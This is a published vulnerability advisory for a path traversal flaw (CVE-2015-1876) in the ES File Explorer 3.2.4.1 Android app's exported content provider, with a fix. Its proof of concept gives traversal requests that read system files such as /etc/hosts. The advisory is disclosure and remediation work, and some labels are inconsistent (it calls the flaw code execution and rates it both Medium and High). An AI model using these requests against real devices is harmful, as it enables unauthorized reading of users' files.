ES File Explorer 3.2.4.1 Path Traversal

Published
Credit
Risk
2015.02.18
Vulnerability Lab
Medium
CWE
CVE
Local
Remote
CWE-22
CVE-2015-1876
No
Yes

Document Title:
===============
ES File Explorer v3.2.4.1 - Path Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1435


CVE-ID:
=======
CVE-2015-1876


Release Date:
=============
2015-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
1435


Common Vulnerability Scoring System:
====================================
7.8


Product & Service Introduction:
===============================
ES File Explorer is a free all-in-one including a file manager & application & tasks,
support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3),
FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer.
It allows Android users around the world to manage their resources for free; you can see the files on your phone,
access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G,
EDGE or WiFi, and share with friends.

(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop )


Abstract Advisory Information:
==============================
An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application.


Vulnerability Disclosure Timeline:
==================================
2015-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
ES APP GROUP
Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application.
The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device.

The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by
local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a
malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service
and the request is http.

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8.
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation
of the vulnerability results in mobile application compromise

Request Method(s):
[+] POST & Sync

Vulnerable Module(s):
[+] content://com.estrongs.files/

Vulnerable Parameter(s):
[+] path

Affected Module(s):
[+] content://com.estrongs.files/system/


Proof of Concept (PoC):
=======================
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
Package: com.estrongs.android.pop
Application Label: ES File Explorer
Process Name: com.estrongs.android.pop
Version: 3.2.4.1
Data Directory: /data/data/com.estrongs.android.pop
APK Path: /data/app/com.estrongs.android.pop-2.apk
UID: 10235
GID: [3003, 3002, 3001, 1015, 1028]

Permissions:
- android.permission.WRITE_SETTINGS
- android.permission.CHANGE_WIFI_STATE
- android.permission.CHANGE_NETWORK_STATE
- android.permission.INTERNET
- android.permission.SET_WALLPAPER
- android.permission.ACCESS_NETWORK_STATE
- android.permission.ACCESS_WIFI_STATE
- com.android.launcher.permission.INSTALL_SHORTCUT
- com.android.launcher.permission.UNINSTALL_SHORTCUT
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.WRITE_MEDIA_STORAGE
- android.permission.WAKE_LOCK
- android.permission.READ_PHONE_STATE
- android.permission.ACCESS_SUPERUSER
- android.permission.VIBRATE
- .PERMISSION
- android.permission.CHANGE_WIFI_MULTICAST_STATE
- android.permission.SYSTEM_ALERT_WINDOW
- android.permission.GET_TASKS
- android.permission.READ_EXTERNAL_STORAGE
Defines Permissions:
- None

Activities:
com.estrongs.android.pop.view.FileExplorerActivity
com.estrongs.android.pop.app.compress.CompressionActivity
com.estrongs.android.pop.app.compress.CompressionProxyActivity
com.estrongs.android.pop.app.ESFileSharingActivity
com.estrongs.android.pop.app.SaveToESActivity
com.estrongs.android.pop.app.LocalFileSharingActivity
com.estrongs.android.pop.app.PopVideoPlayer
com.estrongs.android.pop.app.PopVideoPlayerProxyActivity
com.estrongs.android.pop.app.AudioPlayerProxyActivity
com.estrongs.android.pop.app.editor.PopNoteEditor
com.estrongs.android.pop.app.FileChooserActivity
com.estrongs.android.pop.app.ESContentChooserActivity
com.estrongs.android.pop.app.ESRingtoneChooserActivity
com.estrongs.android.pop.app.ESWallPaperChooserActivity
com.estrongs.android.pop.app.DownloaderActivity
com.estrongs.android.pop.app.BrowserDownloaderActivity
com.estrongs.android.pop.app.PopRemoteImageBrowser
com.estrongs.android.pop.ftp.ESFtpShortcut
com.estrongs.android.pop.app.ShowDialogActivity
com.estrongs.android.pop.app.AppCheckUpdateList
com.estrongs.android.pop.app.DefaultWindowSetting
com.estrongs.android.pop.app.DocumentExtModifyList
com.estrongs.android.pop.app.TransitActivity

Broadcast(Receiver):
com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver
com.baidu.share.message.ShareReceiver
com.estrongs.android.pop.EnableOEMConfig
com.estrongs.android.pop.app.InstallMonitorReceiver
com.estrongs.android.pop.app.StartServiceReceiver

Services:
com.estrongs.android.pop.bt.OBEXFtpServerService
Permission: null

Providers:
Authority: com.estrongs.files
Read Permission: null
Write Permission: null
Content Provider: com.estrongs.android.pop.app.FileContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: True


read content://com.estrongs.files/system/../../../../../sdcard/<file>

Read file hosts
read content://com.estrongs.files/system/etc/hosts
127.0.0.1 localhost


Solution - Fix & Patch:
=======================
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.


Vulnerable code:

com.estrongs.files
Read Permission: null
Write Permission: null

android:exported="true" change "true" to "false"

When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it.

<provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>

Fixed code:
<provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>

read content://com.estrongs.files/system/etc/hosts
Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv
ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid
=10216) that is not exported from uid 10235


Security Risk:
==============
The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8)


Credits & Authors:
==================
Hadji Samir [s-dz@hotmail.fr]


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References:

http://www.vulnerability-lab.com/get_content.php?id=1435
https://play.google.com/store/apps/details?id=com.estrongs.android.pop


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